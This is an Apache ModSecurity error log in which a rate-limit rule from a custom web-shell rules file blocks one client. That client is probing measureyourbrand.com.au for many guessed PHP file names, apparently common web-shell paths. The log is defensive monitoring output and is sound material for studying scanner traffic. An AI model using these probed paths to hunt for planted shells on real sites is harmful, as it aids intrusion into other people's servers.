[Wed Apr 01 22:07:27.287460 2026] [:error] [pid 62559:tid 62574] [client 20.91.245.108:30118] [client 20.91.245.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xs.php"] [unique_id "ac0mny7NKI8IaNKZFIe0lAAAAU0"]
[Wed Apr 01 22:07:28.377168 2026] [:error] [pid 8910:tid 8978] [client 20.91.245.108:19816] [client 20.91.245.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bolt.php"] [unique_id "ac0moKJZINUcF3tYgExwqwAAAQo"]
[Wed Apr 01 22:07:30.292587 2026] [:error] [pid 17856:tid 17880] [client 20.91.245.108:21901] [client 20.91.245.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bolt.php"] [unique_id "ac0moj7Idlm5j9frhqRfMQAAAFY"]
[Wed Apr 01 22:07:30.993749 2026] [:error] [pid 8908:tid 8929] [client 20.91.245.108:24983] [client 20.91.245.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bolt.php"] [unique_id "ac0movkmxtJXGnLdvgCkDgAAAJA"]
[Wed Apr 01 22:07:31.928283 2026] [:error] [pid 8908:tid 8918] [client 20.91.245.108:17040] [client 20.91.245.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bolt.php"] [unique_id "ac0mo_kmxtJXGnLdvgCkEwAAAIU"]
[Wed Apr 01 22:07:33.483403 2026] [:error] [pid 17856:tid 17868] [client 20.91.245.108:29897] [client 20.91.245.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/gelio1.php"] [unique_id "ac0mpT7Idlm5j9frhqRfQgAAAEo"]
[Wed Apr 01 22:07:34.547073 2026] [:error] [pid 8908:tid 8934] [client 20.91.245.108:5675] [client 20.91.245.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/gelio1.php"] [unique_id "ac0mpvkmxtJXGnLdvgCkGQAAAJU"]
[Wed Apr 01 22:07:35.287091 2026] [:error] [pid 8908:tid 8925] [client 20.91.245.108:35277] [client 20.91.245.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/gelio1.php"] [unique_id "ac0mp_kmxtJXGnLdvgCkGwAAAIw"]
[Wed Apr 01 22:07:36.899340 2026] [:error] [pid 8995:tid 9008] [client 20.91.245.108:5683] [client 20.91.245.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/gelio1.php"] [unique_id "ac0mqOonaBjs3qxcRefbZAAAAAo"]
[Wed Apr 01 22:07:37.683697 2026] [:error] [pid 8909:tid 8945] [client 20.91.245.108:21927] [client 20.91.245.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/as.php"] [unique_id "ac0mqTvP_a0662gDl6DuRgAAAMQ"]
[Wed Apr 01 22:07:39.616991 2026] [:error] [pid 8995:tid 9018] [client 20.91.245.108:23742] [client 20.91.245.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/as.php"] [unique_id "ac0mq-onaBjs3qxcRefbdAAAABQ"]
[Wed Apr 01 22:07:40.878922 2026] [:error] [pid 8908:tid 8916] [client 20.91.245.108:30109] [client 20.91.245.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/as.php"] [unique_id "ac0mrPkmxtJXGnLdvgCkKwAAAIM"]
[Wed Apr 01 22:07:41.517813 2026] [:error] [pid 17856:tid 17859] [client 20.91.245.108:10133] [client 20.91.245.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/as.php"] [unique_id "ac0mrT7Idlm5j9frhqRfYgAAAEE"]
[Wed Apr 01 22:07:42.546210 2026] [:error] [pid 17856:tid 17881] [client 20.91.245.108:20022] [client 20.91.245.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/yuzuru1.php"] [unique_id "ac0mrj7Idlm5j9frhqRfawAAAFc"]
[Wed Apr 01 22:07:43.385782 2026] [:error] [pid 8995:tid 9001] [client 20.91.245.108:10147] [client 20.91.245.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/yuzuru1.php"] [unique_id "ac0mr-onaBjs3qxcRefbeAAAAAM"]
[Wed Apr 01 22:07:44.509923 2026] [:error] [pid 17856:tid 17881] [client 20.91.245.108:23701] [client 20.91.245.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/yuzuru1.php"] [unique_id "ac0msD7Idlm5j9frhqRfdwAAAFc"]
[Wed Apr 01 22:07:46.925017 2026] [:error] [pid 8909:tid 8942] [client 20.91.245.108:23686] [client 20.91.245.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/yuzuru1.php"] [unique_id "ac0msjvP_a0662gDl6DuWAAAAME"]
[Wed Apr 01 22:07:47.753846 2026] [:error] [pid 8909:tid 8963] [client 20.91.245.108:5607] [client 20.91.245.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/gettest.php"] [unique_id "ac0mszvP_a0662gDl6DuYAAAANY"]
[Wed Apr 01 22:07:48.540094 2026] [:error] [pid 8909:tid 8955] [client 20.91.245.108:23709] [client 20.91.245.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/gettest.php"] [unique_id "ac0mtDvP_a0662gDl6DuZQAAAM4"]
[Wed Apr 01 22:07:49.908657 2026] [:error] [pid 8908:tid 8926] [client 20.91.245.108:35316] [client 20.91.245.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/gettest.php"] [unique_id "ac0mtfkmxtJXGnLdvgCkQgAAAI0"]
[Wed Apr 01 22:07:51.045305 2026] [:error] [pid 17856:tid 17861] [client 20.91.245.108:29901] [client 20.91.245.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/gettest.php"] [unique_id "ac0mtz7Idlm5j9frhqRflAAAAEM"]
[Wed Apr 01 22:07:52.098222 2026] [:error] [pid 8909:tid 8951] [client 20.91.245.108:18977] [client 20.91.245.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sweg.php"] [unique_id "ac0muDvP_a0662gDl6DucAAAAMo"]
[Wed Apr 01 22:07:53.283008 2026] [:error] [pid 8908:tid 8935] [client 20.91.245.108:19818] [client 20.91.245.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sweg.php"] [unique_id "ac0mufkmxtJXGnLdvgCkRQAAAJY"]
[Wed Apr 01 22:07:55.695487 2026] [:error] [pid 62559:tid 62580] [client 20.91.245.108:15835] [client 20.91.245.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sweg.php"] [unique_id "ac0muy7NKI8IaNKZFIe01QAAAVM"]
[Wed Apr 01 22:08:06.972493 2026] [:error] [pid 8909:tid 8947] [client 20.91.245.108:5682] [client 20.91.245.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/index.php/ws86.php"] [unique_id "ac0mxjvP_a0662gDl6DumwAAAMY"]
[Wed Apr 01 22:08:09.042612 2026] [:error] [pid 17856:tid 17866] [client 20.91.245.108:21936] [client 20.91.245.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/index.php/ws86.php"] [unique_id "ac0myT7Idlm5j9frhqRgCwAAAEg"]
[Wed Apr 01 22:08:12.188385 2026] [:error] [pid 8995:tid 9001] [client 20.91.245.108:14992] [client 20.91.245.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/index.php/ws86.php"] [unique_id "ac0mzOonaBjs3qxcRefblAAAAAM"]
[Wed Apr 01 22:08:13.773252 2026] [:error] [pid 17856:tid 17872] [client 20.91.245.108:28842] [client 20.91.245.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/index.php/ws86.php"] [unique_id "ac0mzT7Idlm5j9frhqRgIAAAAE4"]
[Wed Apr 01 22:08:14.595587 2026] [:error] [pid 17856:tid 17871] [client 20.91.245.108:30873] [client 20.91.245.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/jga.php"] [unique_id "ac0mzj7Idlm5j9frhqRgJwAAAE0"]
[Wed Apr 01 22:08:15.802282 2026] [:error] [pid 17856:tid 17882] [client 20.91.245.108:27584] [client 20.91.245.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/jga.php"] [unique_id "ac0mzz7Idlm5j9frhqRgLwAAAFg"]
[Wed Apr 01 22:08:17.257999 2026] [:error] [pid 17856:tid 17870] [client 20.91.245.108:27646] [client 20.91.245.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/jga.php"] [unique_id "ac0m0T7Idlm5j9frhqRgPwAAAEw"]
[Wed Apr 01 22:08:19.813164 2026] [:error] [pid 8909:tid 8949] [client 20.91.245.108:32153] [client 20.91.245.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/jga.php"] [unique_id "ac0m0zvP_a0662gDl6DuswAAAMg"]
[Wed Apr 01 22:08:20.897499 2026] [:error] [pid 17856:tid 17873] [client 20.91.245.108:32417] [client 20.91.245.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xda.php"] [unique_id "ac0m1D7Idlm5j9frhqRgSQAAAE8"]
[Wed Apr 01 22:08:22.661923 2026] [:error] [pid 8908:tid 8923] [client 20.91.245.108:15527] [client 20.91.245.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xda.php"] [unique_id "ac0m1vkmxtJXGnLdvgCkdwAAAIo"]
[Wed Apr 01 22:08:23.832827 2026] [:error] [pid 8909:tid 8954] [client 20.91.245.108:10974] [client 20.91.245.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xda.php"] [unique_id "ac0m1zvP_a0662gDl6DuugAAAM0"]
[Wed Apr 01 22:08:25.400512 2026] [:error] [pid 8909:tid 8944] [client 20.91.245.108:32423] [client 20.91.245.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xda.php"] [unique_id "ac0m2TvP_a0662gDl6DuvgAAAMM"]
[Wed Apr 01 22:08:26.260778 2026] [:error] [pid 62559:tid 62579] [client 20.91.245.108:10198] [client 20.91.245.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/classgoto24.php"] [unique_id "ac0m2i7NKI8IaNKZFIe1DQAAAVI"]
[Wed Apr 01 22:08:27.366662 2026] [:error] [pid 17856:tid 17871] [client 20.91.245.108:34012] [client 20.91.245.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/classgoto24.php"] [unique_id "ac0m2z7Idlm5j9frhqRgaQAAAE0"]
[Wed Apr 01 22:08:28.673651 2026] [:error] [pid 17856:tid 17878] [client 20.91.245.108:10180] [client 20.91.245.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/classgoto24.php"] [unique_id "ac0m3D7Idlm5j9frhqRgbQAAAFQ"]
[Wed Apr 01 22:08:29.767126 2026] [:error] [pid 17856:tid 17871] [client 20.91.245.108:10968] [client 20.91.245.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/classgoto24.php"] [unique_id "ac0m3T7Idlm5j9frhqRgdAAAAE0"]
[Wed Apr 01 22:08:30.752305 2026] [:error] [pid 17856:tid 17876] [client 20.91.245.108:10930] [client 20.91.245.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ws82.php"] [unique_id "ac0m3j7Idlm5j9frhqRgewAAAFI"]
[Wed Apr 01 22:08:31.721861 2026] [:error] [pid 8995:tid 9000] [client 20.91.245.108:34021] [client 20.91.245.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ws82.php"] [unique_id "ac0m3-onaBjs3qxcRefbtQAAAAI"]
[Wed Apr 01 22:08:32.654003 2026] [:error] [pid 8995:tid 9005] [client 20.91.245.108:15251] [client 20.91.245.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ws82.php"] [unique_id "ac0m4OonaBjs3qxcRefbtwAAAAc"]
[Wed Apr 01 22:08:33.873617 2026] [:error] [pid 8910:tid 8969] [client 20.91.245.108:12725] [client 20.91.245.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ws82.php"] [unique_id "ac0m4aJZINUcF3tYgExw1QAAAQE"]
[Wed Apr 01 22:08:34.711442 2026] [:error] [pid 8908:tid 8922] [client 20.91.245.108:29080] [client 20.91.245.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ws43.php"] [unique_id "ac0m4vkmxtJXGnLdvgCkjAAAAIk"]
[Wed Apr 01 22:08:39.039666 2026] [:error] [pid 17856:tid 17876] [client 20.91.245.108:5708] [client 20.91.245.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ws43.php"] [unique_id "ac0m5z7Idlm5j9frhqRgqgAAAFI"]
[Wed Apr 01 22:08:40.101820 2026] [:error] [pid 8910:tid 8986] [client 20.91.245.108:10186] [client 20.91.245.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ws43.php"] [unique_id "ac0m6KJZINUcF3tYgExw2AAAARI"]
[Wed Apr 01 22:08:41.017094 2026] [:error] [pid 17856:tid 17874] [client 20.91.245.108:14563] [client 20.91.245.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ws43.php"] [unique_id "ac0m6T7Idlm5j9frhqRgtAAAAFA"]
[Wed Apr 01 22:08:41.884340 2026] [:error] [pid 17856:tid 17875] [client 20.91.245.108:21181] [client 20.91.245.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/gec.php"] [unique_id "ac0m6T7Idlm5j9frhqRgugAAAFE"]
[Wed Apr 01 22:08:42.724368 2026] [:error] [pid 8995:tid 9001] [client 20.91.245.108:15765] [client 20.91.245.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/gec.php"] [unique_id "ac0m6uonaBjs3qxcRefbxgAAAAM"]
[Wed Apr 01 22:08:43.989328 2026] [:error] [pid 17856:tid 17861] [client 20.91.245.108:35550] [client 20.91.245.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/gec.php"] [unique_id "ac0m6z7Idlm5j9frhqRgwgAAAEM"]
[Wed Apr 01 22:08:45.141774 2026] [:error] [pid 8909:tid 8964] [client 20.91.245.108:23776] [client 20.91.245.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/gec.php"] [unique_id "ac0m7TvP_a0662gDl6Du9QAAANc"]
[Wed Apr 01 22:08:46.043069 2026] [:error] [pid 8910:tid 8975] [client 20.91.245.108:13756] [client 20.91.245.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/uuu.php"] [unique_id "ac0m7qJZINUcF3tYgExw6AAAAQc"]
[Wed Apr 01 22:08:47.220479 2026] [:error] [pid 8910:tid 8984] [client 20.91.245.108:15805] [client 20.91.245.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/uuu.php"] [unique_id "ac0m76JZINUcF3tYgExw6gAAARA"]
[Wed Apr 01 22:08:48.513582 2026] [:error] [pid 8909:tid 8953] [client 20.91.245.108:31367] [client 20.91.245.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/uuu.php"] [unique_id "ac0m8DvP_a0662gDl6Du_QAAAMw"]
[Wed Apr 01 22:08:49.606004 2026] [:error] [pid 8908:tid 8932] [client 20.91.245.108:35445] [client 20.91.245.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/uuu.php"] [unique_id "ac0m8fkmxtJXGnLdvgCkmgAAAJM"]
